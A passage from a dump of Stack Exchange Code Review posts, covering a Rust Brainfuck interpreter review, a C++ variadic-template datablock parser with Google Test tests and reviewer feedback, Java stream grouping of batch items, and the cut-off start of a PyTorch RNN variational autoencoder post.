...\n}\n</code></pre>\n\n<p>This of course makes it impossible implementing <code>Default</code> for <code>Inter</code>, unless you want it to be possible to create an empty tape/program (You also could make <code>Parser::load_from_file</code> return a <code>Result<Program, Error></code> instead, so you get rid of the extra <code>parse</code> call.</p>\n\n<hr>\n\n<p>Why do you parse bytes, instead of chars? You suspect, that you are only getting ascii chars, but what if there is a <code>ß</code> or <code>Õ</code> in the text you load. This will lead to very weird errors.<br>\nAlso the function looks very c-ish. You have a lot of mutable variables and index variables. Rust doesn't do that, instead just go with (<code>self.input</code> is a <code>String</code>): <code>for c in self.input.chars()</code>.<br>\nAlso you can group common actions together, e.g.</p>\n\n<pre class=\"lang-rust prettyprint-override\"><code>for c in self.code.chars() {\n match c {\n '+' | '-' | '>' | ... /* insert rest here */ => { unimplemented!() },\n _ => { /* the rest */ unimplemented!() },\n }\n}\n</code></pre>\n\n<p>These are just a few things, I do not have time (sorry!), but I think you can start with this. If you want I can update it later on with more examples and how to do it differently.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T10:17:23.873",
"Id": "212907",
"ParentId": "212898",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T08:27:29.330",
"Id": "212898",
"Score": "3",
"Tags": [
"rust",
"interpreter",
"brainfuck"
],
"Title": "Simple Brainfuck Interpreter in Rust"
} | 212898 |
<p>I would like to have my variadic template class reviewed.</p>
<p>First some explanation what it should do:</p>
<p>I'm writing an application where I read in blocks of data.</p>
<p>I know before i read in the data which formats to expect.</p>
<p>For example:</p>
<pre><code> ID123.EnableValve := FALSE;
ID123.Position1 := 0;
ID123.Position2 := 2;
ID123.Position3 := 9;
</code></pre>
<p>Or:</p>
<pre><code> UDT30.EnableValve := FALSE;
UDT30.This := 0;
UDT30.is := L#2;
UDT30.an := 9;
UDT30.Example := TRUE;
</code></pre>
<p>These data blocks share the following similarities:</p>
<ul>
<li>Each line starts with an id (e.g. <code>UDT30</code> or <code>ID123</code>).</li>
<li>This Device Id must be the same on each line. Otherwise we read a corrupt data block.</li>
<li>Then a type name follows (e.g. <code>EnableValve</code> or <code>Position3</code>).</li>
<li>The type names are unique. That means in one data block there is never
the same type twice (e.g. <code>Position1</code> does not occur two times).</li>
<li>Then always the string <code>:=</code> follows.</li>
<li>Add the end the value follows (e.g. <code>TRUE</code>, <code>0</code>, <code>L#</code>).</li>
<li>The count of lines is flexible (e.g. length = <code>4</code> or <code>5</code>).</li>
</ul>
<p>I want to do the following with the datablocks: </p>
<ol>
<li>Reading in datablocks (from <code>std::istream</code>)</li>
<li>Access a specific row and modify its value(e.g. <code>ID123.EnableValve
:= FALSE;</code> becomes <code>ID123.EnableValve := TRUE;</code></li>
<li>Writing the datablock back (to <code>std::ostream</code>)</li>
</ol>
<p>Also it must be possible to:</p>
<ol>
<li>construct a new datablock out of Types</li>
<li>write the datablock (to <code>std::osstream</code>)</li>
</ol>
<p>I want to inherit from this template and restrict the use of set and get for the rows. The inherited classes can decide with the protected set / get which lines they want to modify and which are just read only.</p>
<p>I used Google Test with Visual 2017 to create unit tests for the template.
Here you can see what the template can do.</p>
<p><strong>Variadic_templatesTest.cpp</strong></p>
<pre><code>#include "pch.h"
#include "..\variadic_templates\Fake_types.h"
// hack to test protected methods in variadic datablock
// is there a better way??
#define protected public
#include "..\variadic_templates\Variadic_datablock.h"
#include <sstream>
TEST(Variadic_templatesTest, DefaultConstructor) {
Variadic_datablock t;
EXPECT_EQ(t.get_id(), std::string{});
}
TEST(Variadic_templatesTest, Constructor) {
std::string id{ "ID123" };
EnableValve enableValve{ "TRUE" };
Position1 position1{ "0" };
Position2 position2{ "2" };
Position3 position3{ "3" };
Variadic_datablock<EnableValve, Position1, Position2, Position3> t{
id,
enableValve,
position1,
position2,
position3
};
EXPECT_EQ(t.get_id(), id);
EXPECT_EQ(t.get_element<EnableValve>().m, enableValve.m);
EXPECT_EQ(t.get_element<Position1>().m, position1.m);
EXPECT_EQ(t.get_element<Position2>().m, position2.m);
EXPECT_EQ(t.get_element<Position3>().m, position3.m);
}
TEST(Variadic_templatesTest, SetElement) {
std::string id{ "ID123" };
EnableValve enableValve{ "TRUE" };
Variadic_datablock<EnableValve> t{
id,
enableValve,
};
EXPECT_EQ(t.get_element<EnableValve>().m, enableValve.m);
enableValve.m = "FALSE";
t.set_element(enableValve);
EXPECT_EQ(t.get_element<EnableValve>().m, enableValve.m);
}
TEST(Variadic_templatesTest, TestIOstream) {
std::string input = {
R"( ID123.EnableValve := FALSE;
ID123.Position1 := 0;
ID123.Position2 := 2;
ID123.Position3 := 9;
)"
};
std::istringstream ist{ input };
Variadic_datablock<EnableValve, Position1, Position2, Position3> t;
ist >> t;
EXPECT_EQ(t.get_id(), "ID123");
EXPECT_EQ(t.get_element<EnableValve>().m, "FALSE");
EXPECT_EQ(t.get_element<Position1>().m, "0");
EXPECT_EQ(t.get_element<Position2>().m, "2");
EXPECT_EQ(t.get_element<Position3>().m, "9");
std::ostringstream ost;
ost << t;
EXPECT_EQ(ost.str(), input);
}
</code></pre>
<p><strong>Variadic_datablock.h</strong></p>
<pre><code>#pragma once
#include "Read_from_line.h"
#include <tuple>
#include <iostream>
#include <string>
#include <vector>
#include <typeinfo>
template<typename ...T>
class Variadic_datablock
/*
Requires elements in T... are unique (not repeat of types)
*/
{
public:
Variadic_datablock() = default;
explicit Variadic_datablock(std::string id, T... args)
:m_id{ std::move(id) },
m_data{ std::move((std::tuple<T...>(args...))) }
{
}
std::string get_id() const
{
return m_id;
}
protected:
template<typename Type>
Type get_element() const
{
return std::get<Type>(m_data);
}
template<typename Type>
void set_element(Type a)
{
std::get<Type>(m_data) = a;
}
std::tuple<T...> get_data() const
{
return m_data;
}
private:
std::string m_id{};
std::tuple<T...> m_data{};
template<typename ...T>
friend std::ostream& operator<<(std::ostream& os,
const Variadic_datablock<T...>& obj);
template<typename ...T>
friend std::istream& operator>>(std::istream& is,
Variadic_datablock<T...>& obj);
};
template<class Tuple, std::size_t n>
struct Printer {
static std::ostream& print(
std::ostream& os, const Tuple& t, const std::string& id)
{
Printer<Tuple, n - 1>::print(os, t, id);
auto type_name =
extract_type_name(typeid(std::get<n - 1>(t)).name());
os << " " << id << "." << type_name << " := "
<< std::get<n - 1>(t) << "; " << '\n';
return os;
}
};
template<class Tuple>
struct Printer<Tuple, 1> {
static std::ostream& print(
std::ostream& os, const Tuple& t, const std::string& id)
{
auto type_name =
extract_type_name(typeid(std::get<0>(t)).name());
os << " " << id << "." << type_name << " := "
<< std::get<0>(t) << "; " << '\n';
return os;
}
};
template<class... Args>
std::ostream& print(
std::ostream& os, const std::tuple<Args...>& t, const std::string& id)
{
Printer<decltype(t), sizeof...(Args)>::print(os, t, id);
return os;
}
template<typename ...T>
std::ostream& operator<<(
std::ostream& os, const Variadic_datablock<T...>& obj)
{
print(os, obj.m_data, obj.m_id);
return os;
}
template<class Tuple, std::size_t n>
struct Reader {
static std::istream& read(
std::istream& is, Tuple& t, std::string& last_id)
{
Reader<Tuple, n - 1>::read(is, t, last_id);
auto id = extract_id(is);
if (!is_expected_id(is, id, last_id)) {
return is;
}
last_id = id;
auto type_name = extract_type_name(is);
auto expected_name =
extract_type_name(typeid(std::get<n - 1>(t)).name());
if (!is_expected_name(is, type_name, expected_name)) {
return is;
}
dischard_fill(is);
// can we do this better and extract into type of
// actual dispatched tuple?
auto s = extract_line_value_type(is);
// prefered: std::get<n - 1>(t) = s but not possible?
std::get<n - 1>(t).insert(s);
return is;
}
};
template<class Tuple>
struct Reader<Tuple, 1> {
static std::istream& read(
std::istream& is, Tuple& t, std::string& last_id)
{
auto id = extract_id(is);
if (!is_expected_id(is, id, last_id)) {
return is;
}
last_id = id;
auto type_name = extract_type_name(is);
auto expected_name =
extract_type_name(typeid(std::get<0>(t)).name());
if (!is_expected_name(is, type_name, expected_name)) {
return is;
}
dischard_fill(is);
// can we do this better and extract into the type of
// actual dispatched tuple?
// typeid(std::get<0>(t)) s = extract_line_value_type(is); ?
auto s = extract_line_value_type(is);
// prefered: std::get<0>(t) = s but not possible?
std::get<0>(t).insert(s);
return is;
}
};
template<class... Args>
std::istream& read(
std::istream& is, std::tuple<Args...>& t, std::string& last_id)
{
Reader<decltype(t), sizeof...(Args)>::read(is, t, last_id);
return is;
}
template<typename ...T>
std::istream& operator>>(std::istream& is,
Variadic_datablock<T...>& obj)
{
std::tuple<T...> tmp{};
read(is, tmp, obj.m_id);
obj.m_data = std::move(tmp);
return is;
}
</code></pre>
<p><strong>Read_from_line.h</strong></p>
<pre><code>#pragma once
#include <iosfwd>
#include <string>
std::string extract_id(std::istream& is);
bool is_expected_id(std::istream& is,
const std::string& id, const std::string& expected_id);
std::string extract_type_name(std::istream& is);
bool is_expected_name(std::istream& is,
const std::string_view& name, const std::string_view& expected_name);
void dischard_fill(std::istream& is);
std::string extract_line_value_type(std::istream& is);
std::string erase_whitespace_in_begin(const std::string& s);
std::string extract_type_name(const std::string& typeid_result);
</code></pre>
<p><strong>Read_from_line.cpp</strong></p>
<pre><code>#include "Read_from_line.h"
#include <algorithm>
#include <iostream>
#include <sstream>
std::string extract_id(std::istream& is)
{
std::string id; // id e.g. K101 PI108
std::getline(is, id, '.');
id = erase_whitespace_in_begin(id);
return id;
}
bool is_expected_id(std::istream& is,
const std::string& id, const std::string& expected_id)
{
if (expected_id == std::string{}) {
return true;
}
if (id != expected_id) {
is.setstate(std::ios::failbit);
return false;
}
return true;
}
std::string extract_type_name(std::istream& is)
{
std::string type_name; // data e.g. DeviceType
is >> type_name;
return type_name;
}
bool is_expected_name(std::istream& is,
const std::string_view& name, const std::string_view& expected_name)
{
if (name != expected_name) {
is.setstate(std::ios::failbit);
return false;
}
return true;
}
void dischard_fill(std::istream& is)
{
std::string fill; // fill ":="
is >> fill;
}
std::string extract_line_value_type(std::istream& is)
{
std::string value; // value 10
std::getline(is, value, ';');
value = erase_whitespace_in_begin(value);
return value;
}
std::string erase_whitespace_in_begin(const std::string& s)
{
std::string ret = s;
ret.erase(0, ret.find_first_not_of(" \n\r\t"));
return ret;
}
std::string extract_type_name(const std::string& typeid_result)
{
std::string ret = typeid_result;
// case normal name class Test
if (ret.find('<') == std::string::npos) {
std::istringstream ist{ ret };
ist >> ret;
ist >> ret;
return ret;
}
// Case using Test = Test2<struct TestTag>
{
std::istringstream ist{ ret };
std::getline(ist, ret, '<');
std::getline(ist, ret, '>');
}
{
std::istringstream ist2{ ret };
ist2 >> ret; // read name such as struct or class
ist2 >> ret; // get typenameTag
}
ret.erase(ret.find("Tag"));
if (ret.find("EventMask") != std::string::npos) {
std::replace(ret.begin(), ret.end(), '_', '.');
}
return ret;
}
</code></pre>
<p><strong>Fake_types.h</strong></p>
<pre><code>#pragma once
/*
Fake types used to test the template class.
*/
#include <iostream>
#include <string>
template<typename Tag>
struct Faketype {
std::string m;
void insert(std::string(s)) {
m = s;
}
};
template<typename Tag>
std::istream& operator>>(std::istream& is, Faketype<Tag>& obj)
{
is >> obj.m;
return is;
}
template<typename Tag>
std::ostream& operator<<(std::ostream& os, const Faketype<Tag>& obj)
{
os << obj.m;
return os;
}
using Position1 = Faketype<struct Position1Tag>;
using Position2 = Faketype<struct Position2Tag>;
using Position3 = Faketype<struct Position3Tag>;
// Only Special case. The file has EventMask.Address1
using EventMask_Address1 = Faketype<struct EventMask_Address1Tag>;
struct EnableValve
{
std::string m;
void insert(std::string(s)) {
m = s;
}
};
std::istream& operator>>(std::istream& is, EnableValve& obj)
{
is >> obj.m;
return is;
}
std::ostream& operator<<(std::ostream& os, const EnableValve& obj)
{
os << obj.m;
return os;
}
</code></pre>
<p>Please review, sorted by priority:</p>
<ul>
<li><p>The <code>Variadic_datablock class</code>:
Is it a good design? What can be improved? Is it possible to change <code>std::get<n - 1>(t).insert(s);</code> to <code>std::get<n - 1>(t) = s</code> in the <code>Reader</code>?
Please let me know any smells. It's the first time I have used variadic templates. I left some comments in the template which indicate smells, but I don't know how to fix them.</p></li>
<li><p>The unit test for the <code>Variadic_datablock class</code>:
Are they good test? Easy to understand? Is there something else you would test?
Can we ged rid of the <code>protected</code> / <code>public</code> hack?</p></li>
<li><p><code>Read_from_line.h</code> This file provided helper functions for the overloaded Istream Operator of the <code>Variadic_datablock</code>.</p></li>
</ul>
<p>Do not review:</p>
<ul>
<li><code>Fake_types.h</code>: It is a helper to emulate some datatypes, because the real datatypes I use in my application are more complicated and I wanted to simplyfy to focus on the template</li>
</ul>
<p>edit: Let me know if you need additional informations to review this.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T19:13:56.403",
"Id": "411820",
"Score": "1",
"body": "\"But is it possible to obtain a variable name as a string? \" Not without reflection unfortunately. Macro hacks are unavoidable right now, and as long as you're not doing anything really crazy, they're fine IMO."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:26:38.743",
"Id": "411953",
"Score": "0",
"body": "i found what i wanted was typeid. I used it in the updated code and got rid of the std::vector<std::string>"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T12:21:50.580",
"Id": "412389",
"Score": "1",
"body": "It's not clear from your question whether the blocks you read must have a specific format - i.e. specific type names, in specific order, some optional. If not, then how are they used - e.g. how do you know which value to change."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T14:31:42.677",
"Id": "412396",
"Score": "0",
"body": "the blocks habe a specific format. its like i expect a specific format before and then read it in and check each line for the format."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T10:09:20.397",
"Id": "412456",
"Score": "0",
"body": "I'm wondering if it would have been less work to just create pod structs and read/write functions for each seeing as you have to define the structs anyway. I don't know, I just get the feeling you're making things more complicated than they need to be."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T10:37:20.777",
"Id": "412462",
"Score": "0",
"body": "i used PODs before but then i have to define for each POD the iostream operators which leads to alot of repitive code. Thats why i got the idea to use a variadic template as a base."
}
] | [
{
"body": "<p><strong>Variadic_datablock:</strong></p>\n\n<ul>\n<li><blockquote>\n <p>class Variadic_datablock \n /* Requires elements in T... are unique (not repeat of types) */</p>\n</blockquote>\n\n<p>We could enforce this requirement with <code>std::enable_if</code> or a <code>static_assert</code> in the class, combined with some template-metaprogramming.</p></li>\n<li><p>Should an empty parameter pack be allowed? It looks like this would break the print / read functions, so we should probably check for that too.</p></li>\n<li><p>What's the purpose of the protected member functions? Do we actually need inheritance or could we make everything public except <code>m_id</code>? That would make the class a lot easier to test. Access control in C++ is best used to prevent breaking class-invariants and hide complex internal functionality. The only invariant here seems to be that the ID shouldn't be changed after creation.</p></li>\n<li><p>The constructor doesn't need to create a temporary tuple. We can move the arguments directly into <code>m_data</code>:</p>\n\n<pre><code>explicit Variadic_datablock(std::string id, T... args):\n m_id{ std::move(id) },\n m_data{ std::move(args)... }\n{\n\n}\n</code></pre></li>\n</ul>\n\n<hr>\n\n<p><strong>Printer:</strong></p>\n\n<ul>\n<li><p>There's some unnecessary duplication. We could definitely abstract this bit into a <code>print_element(os, std::get<n - 1>(t));</code></p>\n\n<pre><code>auto type_name =\n extract_type_name(typeid(std::get<n - 1>(t)).name());\n\nos << \" \" << id << \".\" << type_name << \" := \"\n << std::get<n - 1>(t) << \"; \" << '\\n';\nreturn os;\n</code></pre></li>\n<li><p>Since the <code>Printer</code>, <code>Reader</code> classes and the <code>print</code> and <code>read</code> functions aren't supposed to be used directly by the user, they could be placed in a <code>detail</code> (or similarly named) namespace.</p></li>\n<li><p><code>typeid(x).name()</code> <a href=\"https://en.cppreference.com/w/cpp/types/type_info/name\" rel=\"nofollow noreferrer\">is implementation defined</a>. Several different types may have the same name, and the name can even change between invocations of the same program. In other words, it's not something we should use for serialization. I'd suggest adding a <code>static const std::string</code> data-member to each element class.</p></li>\n</ul>\n\n<hr>\n\n<p><strong>Reader:</strong></p>\n\n<ul>\n<li><p>Same issues as <code>Printer</code>.</p></li>\n<li><p>It would be reasonable to merge the <code>extract_id</code> and <code>is_expected_id</code> into one function. This means we don't return state that may or may not be valid and then have to pass it into a separate function to check. Sticking with the input operator conventions, we get: <code>std::istream& extract_id(std::istream& is, std::string& id, std::string const& expected_id);</code>. We can use the state of the stream to indicate success / failure, and don't need the extra boolean. e.g.:</p>\n\n<pre><code>std::string id;\nif (!extract_id(is, id, last_id)) // checks stream fail / bad bits (eof will be caught at next read)\n return is;\n</code></pre></li>\n<li><p>One test-case with valid input calling the high-level stream operator is not enough to properly confirm the behavior. We need to check the behavior of the individual functions and think about edge cases. For example, for the <code>extract_id</code> function, one might expect the following:</p>\n\n<pre><code>TEST(Test_Reader, IStreamWithValidIDAndDot) { ... }\nTEST(Test_Reader, IStreamWithOnlyDot) { ... }\nTEST(Test_Reader, IStreamWithIDAndNoDot) { ... }\nTEST(Test_Reader, EmptyIStream) { ... }\nTEST(Test_Reader, IStreamWithValidIDAndDotAndBadbitSet) { ... }\nTEST(Test_Reader, IStreamWithValidIDAndDotAndFailitSet) { ... }\nTEST(Test_Reader, IStreamWithValidIDAndDotAndEofbitSet) { ... }\n</code></pre></li>\n<li><p><code>discard</code>, not <code>dischard</code>.</p></li>\n<li><p>Extra parentheses in <code>FakeType::insert()</code> and <code>EnableValve::insert()</code>:</p>\n\n<pre><code>void insert(std::string(s)) {\n m = s;\n}\n</code></pre>\n\n<p>It's fine to take the argument by value, but we can then move it into place:</p>\n\n<pre><code>void insert(std::string s) {\n m = std::move(s);\n}\n</code></pre></li>\n<li><p>We have an <code>operator>></code> for the <code>FakeType</code>s, but we aren't using it?</p></li>\n<li><p>I think we only need to set <code>last_id</code> once for a given datablock.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T14:22:56.980",
"Id": "412395",
"Score": "0",
"body": "the purpose of protected is i dont want in all derived classes the option to get and set every Type T. Sometimes only some types will be modified or accesed after read in"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T15:26:07.100",
"Id": "412401",
"Score": "0",
"body": "Using perfect forwarding in the constructor now allows users to make `Variadic_datablock`s that contain references instead of values. I'm not sure this is intended (as `Variadic_datablock` seems to be used to serialize/deserialize data, and references ba themselves cannot easily be serialized)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T21:27:54.257",
"Id": "412428",
"Score": "0",
"body": "at the moment i dont use referencws i copy all the value into the datablock by value with `std::move`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T21:48:50.307",
"Id": "412430",
"Score": "0",
"body": "@Sandro4912: I was referring to user673679s 4th bullet point in the answer, where he suggests using perfect forwarding in the constructor. (Actually, now that I look at it again, it's not even using forwarding references, but just plain rvalue references, so the lvalue reference point is moot. Still, now the constructor only accepts rvalue references, which doesn't allow for non-movable types... This whole \"suggestion\" is a mess.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T08:13:57.390",
"Id": "412447",
"Score": "0",
"body": "@hoffmale Yeah. I missed that wasn't a template function. Fixed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T18:52:39.447",
"Id": "412522",
"Score": "0",
"body": "i used `static_assert(sizeof...(T) != 0);` in the constructor to make sure theres not empty `...T`. if modfy extract_id it does not compile with `id = extract_id(is, id, last_id)` because it says operator = is deleted for istream."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T19:11:07.113",
"Id": "412526",
"Score": "0",
"body": "@Sandro4912 added an example to clarify."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-10T12:14:18.543",
"Id": "213186",
"ParentId": "212904",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "213186",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:43:21.230",
"Id": "212904",
"Score": "4",
"Tags": [
"c++",
"template",
"c++17",
"variadic"
],
"Title": "Variadic Datablocks"
} | 212904 |
<p>I have a batch job that contains a lot of items. I need to split these items into 4 categories - <code>1,2</code> category should be moved to a separate jobs as is; <code>3,4</code> categories job be additionally checked on validness and split into separate jobs - invalid items should be moved to a separate jobs.</p>
<p>Roughly diagram of the expected flow looks like this</p>
<p><a href="https://i.stack.imgur.com/xnYf3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xnYf3.png" alt="enter image description here"></a></p>
<p>For now I come up the prototype that looks like this</p>
<pre><code>import java.util.*;
import java.util.stream.*;
public class MyClass {
public static void main(String args[]) {
Job job = new Job();
job.items = Arrays.asList(
new Item(ItemCategory.CAT_1, "1"),
new Item(ItemCategory.CAT_2, "2"),
new Item(ItemCategory.CAT_3, "3"),
new Item(ItemCategory.CAT_1, "4"),
new Item(ItemCategory.CAT_2, "5"),
new Item(ItemCategory.CAT_3, "6"),
new Item(ItemCategory.CAT_4, "7"),
new Item(ItemCategory.CAT_4, "8")
);
/*
[1:CAT_1, 4:CAT_1]
[2:CAT_2, 5:CAT_2]
[6:CAT_3]
[8:CAT_4]
[3:CAT_3, 7:CAT_4]
*/
List<List<Item>> categorizedItems = job.items.parallelStream().collect(
() -> Arrays.asList(new ArrayList<>(), new ArrayList<>(), new ArrayList<>(), new ArrayList<>(), new ArrayList<>()), // last item is error aggregator
(list, item) -> {
switch (item.category) {
case CAT_1: list.get(0).add(item); break;
case CAT_2: list.get(1).add(item); break;
case CAT_3: {
if (isValid(item.id)) {
list.get(2).add(item);
} else {
list.get(4).add(item);
}
break;
}
case CAT_4: {
if (isValid(item.id)) {
list.get(3).add(item);
} else {
list.get(4).add(item);
}
break;
}
}
},
(list1, list2) -> {
list1.get(0).addAll(list2.get(0));
list1.get(1).addAll(list2.get(1));
list1.get(2).addAll(list2.get(2));
list1.get(3).addAll(list2.get(3));
list1.get(4).addAll(list2.get(4));
}
);
}
public static boolean isValid(String id) {
return Integer.valueOf(id) % 2 == 0;
}
public static class Item {
ItemCategory category;
String id;
Item(ItemCategory category, String id) {
this.id = id;
this.category = category;
}
@Override
public String toString() {
return id + ":" + category;
}
}
public enum ItemCategory {
CAT_1, CAT_2, CAT_3, CAT_4;
}
public static class Job {
List<Item> items;
}
}
</code></pre>
<p>Is it a good a idea to do everything in a single stream? Or for example it is better split into 4 categories first and then process 3,4 categories separately? </p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T14:27:40.880",
"Id": "411794",
"Score": "0",
"body": "Re: “is it better split into 4 categories first?” Does the order of the items items that end up in category 5 matter? If you split the list into 4 groups, you’ve lost the relative ordering of invalid category 3 and invalid category 4 items."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T14:39:20.693",
"Id": "411795",
"Score": "1",
"body": "Out of curiosity, have you tried running this without the `parallelStream`? If you have a small data set, parallelism can be an overhead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T15:04:45.283",
"Id": "411796",
"Score": "0",
"body": "@AJNeufeld no it is not. category 5 is something akin Dead Letter Queue - as long as it contains right elements everything is ok."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T15:07:39.447",
"Id": "411799",
"Score": "0",
"body": "@IEatBagels I will have thousands of items in the list"
}
] | [
{
"body": "<p>Your <code>Collector</code> is reinventing the wheel. There already exists a collector which partitions the collected items into groups: <a href=\"https://docs.oracle.com/javase/10/docs/api/java/util/stream/Collectors.html#groupingBy(java.util.function.Function)\" rel=\"nofollow noreferrer\"><code>Collectors.groupingBy</code></a>, which you could use something like:</p>\n\n<pre><code>.collect(\n Collectors.groupingBy(\n item -> (item.category == CAT_3 || item.category == CAT_4) && !isValid(item.id)\n ? CAT_5 : item.category)\n )\n)\n</code></pre>\n\n<p>Of course, this will return a <code>Map<ItemCategory, List<Item>></code>. You can transform this back to a list of lists, if needed. </p>\n\n<p>And of course, you would need to add the <code>CAT_5</code> to the <code>ItemCategory</code> enum. Alternately, you could use <code>null</code> at the category 5 key, if you don't mind <code>null</code> as a key value, but be warned that it will make some people's skin crawl.</p>\n\n<hr>\n\n<p>If the order of the items in the all of the groups (as opposed to just the Category 5 group) does not matter, then <a href=\"https://docs.oracle.com/javase/10/docs/api/java/util/stream/Collectors.html#groupingByConcurrent(java.util.function.Function)\" rel=\"nofollow noreferrer\"><code>groupingByConcurrent</code></a> will give better parallel stream performance.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T15:14:35.417",
"Id": "411801",
"Score": "0",
"body": "But if I aggregate it into the map, then to process 3,4 category I will have to get them and store non valid items later into some other map or list?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:09:40.803",
"Id": "411808",
"Score": "1",
"body": "The classifier function, above, groups non-valid category 3,4 items into the map under category 5. Only valid category 3 items are stored in the map under category 3, and only valid category 4 items are stored in the map under category 4."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T20:31:29.303",
"Id": "411829",
"Score": "0",
"body": "did not know about `groupingByConcurrent`"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T14:49:01.700",
"Id": "212920",
"ParentId": "212908",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "212920",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T10:26:09.757",
"Id": "212908",
"Score": "2",
"Tags": [
"java"
],
"Title": "split items of batch into multiple categories"
} | 212908 |
<p>I am trying to implement and train an RNN variational auto-encoder as the one explained in "<a href="https://arxiv.org/abs/1511.06349" rel="nofollow noreferrer">Generating Sentences from a Continuous Space</a>". Although I apply their proposed techniques to mitigate posterior collapse (or at least I think I do), my model's posterior collapses.</p>
<p>I will provide my model implementation in PyTorch, then my training loop.
Looking forward to your feedback.</p>
<p>Some snippets are borrowed from <a href="https://github.com/timbmg/Sentence-VAE" rel="nofollow noreferrer">this github repo</a>.</p>
<p>My imports</p>
<pre><code>import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torch.nn.utils.rnn as rnn_utils
from torch.autograd import Variable
from torch.nn.utils import clip_grad_norm_
import torch.nn.utils.weight_norm as weightNorm
import torchtext
from torchtext.vocab import GloVe
import numpy as np
import time
from tensorboardX import SummaryWriter
</code></pre>
<p>My model</p>
<pre><code>class RVAE(nn.Module):
def __init__(self, vsz, edim, hdim, dropout, zdim, nlayers, bi_enc,
sos_idx, eos_idx, pad_idx, unk_idx, vocab, pretrained_vectors, device):
super().__init__()
self.device = device
self.vocab = vocab
self.sos_idx = sos_idx
self.eos_idx = eos_idx
self.pad_idx = pad_idx
self.unk_idx = unk_idx
self.vsz = vsz
self.zdim = zdim
self.bi_enc = bi_enc
self.nlayers = nlayers
self.hdim = hdim
self.enc_emb = nn.Embedding(vsz, edim, padding_idx=pad_idx).from_pretrained(pretrained_vectors)
self.dec_emb = nn.Embedding(vsz, edim, padding_idx=pad_idx).from_pretrained(pretrained_vectors)
self.dropout = dropout
self.enc_rnn = nn.LSTM(edim, hdim, num_layers=nlayers, bidirectional=bi_enc, batch_first=True,
dropout=dropout)
self.ndirections = 2 if bi_enc else 1
self.dec_rnn = nn.LSTM(edim+zdim, self.ndirections*hdim, num_layers=nlayers, bidirectional=False,
batch_first=True, dropout=dropout)
self.h_factor = (self.ndirections) * nlayers
self.hidden_transformation = nn.Linear(hdim * self.h_factor, hdim * self.h_factor)
self.hidden2mean = nn.Linear(hdim * self.h_factor, zdim)
self.hidden2logv = nn.Linear(hdim * self.h_factor, zdim)
self.latent2hidden = nn.Linear(zdim, hdim * self.h_factor)
self.outlayer = nn.Linear(hdim * self.ndirections, vsz)
self.init_weights()
self.to(device)
def init_weights(self, initrange=0.1):
self.enc_emb.weight.data.uniform_(-initrange, initrange)
self.dec_emb.weight.data.uniform_(-initrange, initrange)
self.hidden_transformation.weight.data.uniform_(-initrange, initrange)
self.hidden_transformation.bias.data.zero_()
self.hidden2mean.weight.data.uniform_(-initrange, initrange)
self.hidden2mean.bias.data.zero_()
self.hidden2logv.weight.data.uniform_(-initrange, initrange)
self.hidden2logv.bias.data.zero_()
self.latent2hidden.weight.data.uniform_(-initrange, initrange)
self.latent2hidden.bias.data.zero_()
self.outlayer.weight.data.uniform_(-initrange, initrange)
self.outlayer.bias.data.zero_()
# taken from https://discuss.pytorch.org/t/initializing-rnn-gru-and-lstm-correctly/23605/2
for name, param in self.enc_rnn.named_parameters():
if 'weight_ih' in name:
torch.nn.init.xavier_uniform_(param.data)
elif 'weight_hh' in name:
torch.nn.init.orthogonal_(param.data)
elif 'bias' in name:
param.data.zero_()
for name, param in self.dec_rnn.named_parameters():
if 'weight_ih' in name:
torch.nn.init.xavier_uniform_(param.data)
elif 'weight_hh' in name:
torch.nn.init.orthogonal_(param.data)
elif 'bias' in name:
param.data.zero_()
def encode(self, inp):
bsz, seqlen = inp.size()
# ENCODER
inp_emb = F.dropout(self.enc_emb(inp), p=self.dropout)
_, enc_h = self.enc_rnn(inp_emb)
if self.bi_enc or self.nlayers > 1:
# flatten hidden state
hidden = enc_h[0].view(bsz, self.hdim*self.h_factor)
else:
hidden = hidden[0].squeeze()
hidden = F.dropout(F.elu(self.hidden_transformation(F.dropout(hidden, p=self.dropout))), p=self.dropout)
# REPARAMETERIZATION
mean = self.hidden2mean(hidden)
